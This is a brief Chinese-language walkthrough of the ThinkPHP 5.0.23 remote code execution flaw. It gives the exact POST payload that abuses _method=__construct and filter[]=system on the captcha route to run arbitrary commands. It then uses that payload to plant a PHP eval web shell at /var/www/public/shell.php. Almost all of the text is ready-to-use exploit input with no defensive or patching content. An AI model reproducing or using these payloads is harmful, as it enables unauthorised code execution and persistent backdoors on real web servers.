ThinkPHP 5.0.23 - 远程代码执行
method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
利用方法URL后添加/index.php?s=captcha,抓包修改传参方式为POST
1 | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd |
1 | POST /index.php?s=captcha |
pwd是查看当前目录,我们可以在这里写入任何命令
先查看我们在哪里,然后好写入一句话

拦截响应得到目录

/var/www/public
写入一句话
1 | echo "<?php @eval($_POST['cmd']);?>" > /var/www/public/shell.php |
1 | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 'eval($_POST[cmd]); @' > shell.php |
成功写入
